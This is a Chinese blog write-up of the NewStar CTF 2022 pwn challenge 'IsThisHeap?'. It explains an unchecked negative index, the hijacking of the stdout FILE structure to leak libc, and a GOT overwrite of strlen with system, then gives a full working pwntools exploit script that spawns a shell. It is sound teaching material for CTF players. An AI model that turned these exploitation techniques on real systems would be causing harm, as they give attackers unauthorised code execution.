IsThisHeap?

IsThisHeap?

NewStar CTF 2022 公开赛赛道第四周 pwn

前言

一道披着堆题外衣的题,实际上和堆没啥大关系。但是这玩意对于新生来说多少有点难吧......

这是给新生出的题???

攻击思路整理

checksec一下发现是Partial RELRO,got表可写。另外程序未开PIE.

Add,Edit,Show功能都是正常的,但是打开Del的时候遭到了出题人的狠狠嘲讽--不过这个题其实不是堆题,没有Del也无妨。

这个题的漏洞点实际上在对于下标的检测上。
图片.png
可以看到这里对于下标(int类型)的检测并没有检查是否小于0,因此我们可以越界访问指针数组heaps之前的指针指向的数据。另外请注意这里读入数据的时候会补上一个\x00

heaps这个数组在bss段,而stdout指针存于bss段的起始位置。因此我们可以劫持stdout这个FILE结构。并令其打印出libc基址

关于IO_FILE结构体的利用技巧的讲解,你可以参考我博客中pwn学习笔记专栏下的笔记(可能不尽完善)。也可以参考下面的一些大佬的博客在这里不再赘述。

Linux IO_FILE 利用

好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

经过简单的计算可知,在输入下标时填入-8即可对应到stdout这个结构体。而这里由于我们Edit的覆写范围为0x30个字节,我们可以覆盖掉write_base和write_ptr,可以将write_base的最低位设置为\x00来打印出stdout结构体中的chain域内容(即stdin的地址)来泄露libc基址。(调试一下你很容易发现write_base正常情况是会指向一个stdout后面附近的地址,这就是覆写为\x00的原因)

flag填0xfbad1800的理由建议参考上面两篇博客,不再赘述(doge)

pay1=p64(0xfbad1800)+p64(0)*3
Edit(-8,pay1)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f460309e980-0x7f4602eb2000)

之后遇到puts时,会打印出libc基址。

然后我们可以故技重施,利用Dymamic节中的plt.got(这里面有got表的地址,在heaps更上方的位置,应该是-61),来覆写strlen函数的got表项,注意覆写的时候中间经过了puts和write函数,提前用libcbase把它们的基址计算出来填进去,不然中间就寄掉了。提前申请一个堆块写进去/bin/sh\x00,然后再show一下触发strlen函数就ok了

exp如下:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.log_level='debug'

r=process('/home/wjc/Desktop/pwn')
#r=remote('node4.buuoj.cn',27239)
libc=ELF('/home/wjc/Desktop/libc-2.31.so')

puts_got=0x602018
got_write_start=puts_got-0x4c

def cmd(idx):
    r.recvuntil('>> ')
    r.sendline(str(idx));

def Add(content):
    cmd(1)
    r.recvuntil('Any data?')
    r.sendline(content)

def Edit(idx,content):
    cmd(3)
    r.recvuntil('Index:')
    r.sendline(str(idx))
    r.recvuntil('Content:')
    r.send(content)

def Show(idx):
    cmd(4)
    r.recvuntil('Index:')
    r.sendline(str(idx))

gdb.attach(r,'b*0x400B6C')

pay1=p64(0xfbad1800)+p64(0)*3
Edit(-8,pay1)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f460309e980-0x7f4602eb2000)


onegadget=libcbase+0xe3afe
system_addr=libcbase+libc.symbols['system']
write_addr=libcbase+libc.symbols['write']
puts_addr=libcbase+libc.symbols['puts']
write_end=libcbase+0x7f0409a2e723-0x7f0409841000

Add('/bin/sh\x00')

Edit(-61,p64(0)+p64(0)+p64(0)+p64(puts_addr)+p64(write_addr)+p64(system_addr))

Show(0)

print("libcbase:",hex(libcbase))
print('onegadget:',hex(onegadget))
print('write_end:',hex(write_end))
print('puts_addr:',hex(puts_addr))
print('write_addr:',hex(write_addr))
print('system_addr:',hex(system_addr))

r.interactive()
posted @ 2022-10-14 19:52  Jmp·Cliff  阅读(45)  评论(0)    收藏  举报